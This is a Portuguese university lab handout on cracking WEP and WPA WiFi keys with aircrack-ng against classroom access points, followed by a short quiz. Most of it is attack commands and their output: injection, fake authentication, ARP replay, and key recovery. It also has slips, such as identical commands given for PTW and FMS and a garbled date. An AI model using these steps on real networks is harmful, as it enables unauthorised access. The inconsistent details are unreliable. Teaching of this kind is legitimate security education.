Engenharia de Segurança (SSC -0747)

São Carlos, 24 de Março de 1010

Prática 1 – Cracking

1. Introdução

Nesta prática introduziremos o conceito de cracking através de vulnerabilidades do padrão 802.11a/b/g/n.
Através do pacote de ferramentas aircrack suite estudaremos as formas de encontrar a senha de acesso para WEP e WPA.

2. Materiais

Utilizaremos os seguintes materiais:

- Notebooks com placa wireless capaz de entrar no modo monitor
- Linux BT4 (Live CD)
- Pacotes Aircrack-NG
- Access Points

3. Descrição da Prática

Os alunos se dividirão em grupos de 4 pessoas, e cada grupo receberá um notebook para iniciar as configurações inciais descritas a seguir.

3.1 Scanning

Para encontrarmos as redes disponíveis (ESSID e MAC dos APs) utilizaremos o comando:

- airodump-ng mon0

3.2 Instalando o Aircrack Suite

Execute o seguinte comando como superusuário

- apt-get install aircrack-ng

Se for a primeira vez que o SO está sendo executado (como no caso de Live CDs) será necessário executar

- apt-get update

O repositório do pacote aircrack-ng em algumas distribuições não vem configurado como default. Caso isso ocorra será necessário editar o arquivo /etc/apt/sources.list (como superusuário).

3.3 Configurando o Access Point

Para prática utilizaremos os APs disponibilizados pelo estagiário PAE da disciplina. Serão disponibilizados 3 APs e cada aluno deve se conectar neste AP através do computador desktop na bancada.
No experimento, inicialmente, os APs serão configurados com uma senha WEP e, posteriormente, com uma senha WPA.

3.4 Configurando a Interface de Rede

A interface de rede precisa ser configurado em modo “monitor” (promíscuo) para injetarmos e capturarmos pacotes que a trafegam.
Em geral cada driver trabalha com o aircrack de modo diferente. No nosso caso utilizaremos os drivers da Intel, chipset 5100.
O primeiro comando a ser executado (em modo superusuário) é

- airmon-ng stop wlan0

para certificarmos que o modo monitor não está ativado.
Agora ativaremos a interface de rede para escutar os pacotes de um canal desejado – por exemplo, o canal 6.

- airmon-ng start wlan0

3.5 Packet Injection

Para assegurarmos que o packet injection está funcionando executaremos

```
aireplay-ng -9 -e teddy -a 00:14:6C:7E:40:80  wlan0
```

Aonde:

- -9 significa injection test
- -e teddy o nome da rede wireless
- -a 00:14:6C:7E:40:80 é o MAC do Access Point desejado
- wlan0 é o nome da interface de rede

Se tudo deu certo, você recerá a seguinte mensagem

```
09:23:35  Waiting for beacon frame (BSSID: 00:14:6C:7E:40:80) on channel 9

 09:23:35  Trying broadcast probe requests...

 09:23:35  Injection is working!

 09:23:37  Found 1 AP
```

```
09:23:37  Trying directed probe requests...
09:23:37  00:14:6C:7E:40:80 - channel: 9 - 'teddy'
09:23:39  Ping (min/avg/max): 1.827ms/68.145ms/111.610ms Power: 33.73
09:23:39  30/30: 100%
```

3.6 Capturando Ivs

Para capturar os Ivs abriremos uma nova sessão do terminal e executaremos o comando

```
airodump-ng -c 9 --bssid 00:14:6C:7E:40:80 -w output wlan0
```

Aonde:

- -c 9 é o canal desejado
- --bssid 00:14:6C:7E:40:80 é o MAC do Access Point
- -w é o prefixo dos arquivos de IV
- wlan0 é o nome da interface de rede

Enquanto a injeção de pacotes estiver rodando, a saída será da seguinte forma:

```
CH  9 ][ Elapsed: 8 mins ][ 2007-03-21 19:25

BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID

00:14:6C:7E:40:80   42 100     5240   178307  338   9  54  WEP  WEP         teddy

BSSID              STATION            PWR  Lost  Packets  Probes

00:14:6C:7E:40:80  00:0F:B5:88:AC:82   42     0   183782
```

3.7 Fake Authentication

É necessário se associar ao AP para que os pacotes injetados na rede sejam aceitos. Utilizaremos o aireplay para fazer uma autenticação fake.

```
aireplay-ng -1 0 -e teddy -a 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 wlan0
```

Where:

- -1 significa fake authentication
- 0 tempo de reassociação em segundos
- -e teddy é o nome da rede
- -a 00:14:6C:7E:40:80 é o MAC do AP
- -h 00:0F:B5:88:AC:82 é o MAC da sua interface de rede wireless
- wlan0 é o nome da interface de rede

Se tudo der certo, você receberá a seguinte mensagem

```
18:18:20  Sending Authentication Request

18:18:20  Authentication successful

18:18:20  Sending Association Request

18:18:20  Association successful :-)
```

3.8 Capturando IVs a partir de requisições ARP

O objetivo é capturar o maior número de Ivs para encontarmos a senha WEP. Para isso utilizaremos o seguinte comando, que captura Ivs através de requisições ARP.

```
aireplay-ng -3 -b 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 ath0
```

Você eve receber a mensagem:

```
 Saving ARP requests in replay_arp-0321-191525.cap

 You should also start airodump-ng to capture replies.

 Read 629399 packets (got 316283 ARP requests), sent 210955 packets...
```

3.9 Obtendo a WEP Key

Para obter a WEP Key através do método PTW utilize o comando

```
aircrack-ng -b 00:14:6C:7E:40:80 output*.cap
```

Para obter através do método FMS/Korek entre com o commando

```
aircrack-ng -b 00:14:6C:7E:40:80 output*.cap
```

Você deve receber a seguinte mensagem

```
     Aircrack-ng 0.9
```

```
                              [00:03:06] Tested 674449 keys (got 96610 IVs)


 KB    depth   byte(vote)

  0    0/  9   12(  15) F9(  15) 47(  12) F7(  12) FE(  12) 1B(   5) 77(   5) A5(   3) F6(
3) 03(   0)

  1    0/  8   34(  61) E8(  27) E0(  24) 06(  18) 3B(  16) 4E(  15) E1(  15) 2D(  13) 89(
12) E4(  12)

  2    0/  2   56(  87) A6(  63) 15(  17) 02(  15) 6B(  15) E0(  15) AB(  13) 0E(  10) 17(
10) 27(  10)

  3    1/  5   78(  43) 1A(  20) 9B(  20) 4B(  17) 4A(  16) 2B(  15) 4D(  15) 58(  15) 6A(
15) 7C(  15)


                        KEY FOUND! [ 12:34:56:78:90 ]

      Probability: 100%
```

3.10 Obtendo WPA Key

Para obter a chave WEP será necessário coletar informações de handshake da rede. O comando para obter a chave é

```
aircrack-ng -w password.lst -b 00:14:6C:7E:40:80 psk*.cap
```

Este processo dependerá da capacidade do seu processador, podendo levar dias para executar.

Em caso de sucesso será retornada a seguinte mensagem

```
Aircrack-ng 0.8



                 [00:00:00] 2 keys tested (37.20 k/s)



                          KEY FOUND! [ 12345678 ]



    Master Key     : CD 69 0D 11 8E AC AA C5 C5 EC BB 59 85 7D 49 3E

                     B8 A6 13 C5 4A 72 82 38 ED C3 7E 2C 59 5E AB FD
```

```
    Transcient Key : 06 F8 BB F3 B1 55 AE EE 1F 66 AE 51 1F F8 12 98
                     CE 8A 9D A0 FC ED A6 DE 70 84 BA 90 83 7E CD 40
                     FF 1D 41 E1 65 17 93 0E 64 32 BF 25 50 D5 4A 5E
                     2B 20 90 8C EA 32 15 A6 26 62 93 27 66 66 E0 71


    EAPOL HMAC     : 4E 27 D9 5B 00 91 53 57 88 9C 66 C8 B1 29 D1 CB
```

Engenharia de Segurança (SSC -0747)

São Carlos, 24 de Março de 1010

Provinha – Cracking

1. Com base na prática, qual o tipo de configuração mais seguro para redes WiFi – WEP ou WPA?
2. O WPA é 100% seguro? Por que?
3. Qual a importância da chave escolhida para o WPA?